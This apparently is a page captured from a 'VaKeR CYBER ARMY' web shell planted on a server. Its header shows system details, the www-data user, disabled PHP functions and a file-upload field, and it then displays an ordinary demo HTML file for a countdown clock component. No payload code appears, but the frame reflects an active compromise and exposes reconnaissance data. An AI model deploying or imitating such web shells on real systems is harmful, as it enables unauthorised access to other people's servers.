.

VaKeR CYBER ARMY

Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory : /var/www/html/libs/absol-acomp/demo/

Upload File :

Current File : /var/www/html/libs/absol-acomp/demo/countdownclock.html

<!DOCTYPE html>
<html>

<head>
    <title>CountdownClock</title>
    <meta charset="UTF-8">
    <link rel="stylesheet" href="https://absol.cf/hightlight/styles/default.css">
    <!-- <link rel="stylesheet" href="https://absol.cf/materialdesignicons/materialdesignicons.min.css"> -->
    <script src="../dist/absol-acomp.js?<?php  echo stat('../dist/absol-acomp.js')['mtime'];?>"></script>
    <script src="https://absol.cf/hightlight/highlight.pack.js"></script>
    <style>
        /* body{
            background-color: black;
        } */
    </style>
</head>

<body>
<h1>Clock</h1>

<script>
    var _ = absol._;
    var $ = absol.$;

</script>
<script class="viewable">
    var clock = _({
        tag: 'countdownclock',
        props: {
            totalSecond: 192,
            remainSecond: 192,
            autoStart: true
        },
        on: {
            finish: function () {
                console.log("FINISH");
            },
            update: function () {
                console.log("UPDATE", this.remainSecond);
            }
        }
    }).addTo(document.body);
</script>
<h1>Text</h1>
<h3>Basic</h3>
<script>
    var countdownText = _({
        tag: 'countdowntext',
        props: {
            finishTime: absol.datetime.beginOfDay(absol.datetime.nextDate(new Date()))
        }
    }).addTo(document.body);
    _({ tag: 'h3', child: { text: 'format: "standard"' } }).addTo(document.body);
    var countdownText1 = _({
        tag: 'countdowntext',
        props: {
            format: 'standard',
            finishTime: absol.datetime.beginOfDay(absol.datetime.nextDate(new Date()))
        }
    }).addTo(document.body);
    _({ tag: 'span', child: { text: ' - ' } }).addTo(document.body);
    var countdownText2 = _({
        tag: 'countdowntext',
        props: {
            format: 'standard',
            finishTime: absol.datetime.beginOfDay(absol.datetime.nextDate(absol.datetime.nextDate(new Date())))
        }
    }).addTo(document.body);
</script>

<h3>Expert</h3>
<p>Còn <span id="text-holder"></span> sẽ đến ngày mai</p>
<script>
    var countdownText2 = _({
        elt: absol.$('#text-holder'),
        tag: 'countdowntext',
        style: {
            fontFamily: 'Consolas',
            fontSize: '30px'
        },
        props: {
            finishTime: absol.datetime.beginOfDay(absol.datetime.nextDate(new Date())),
            format: 'D ngày HH:mm:ss .cs',
            fps: 3
        }
    });
</script>

<script src="https://absol.cf/absol/demo/autohightlighting.js"></script>

</body>

</html>

VaKeR 2022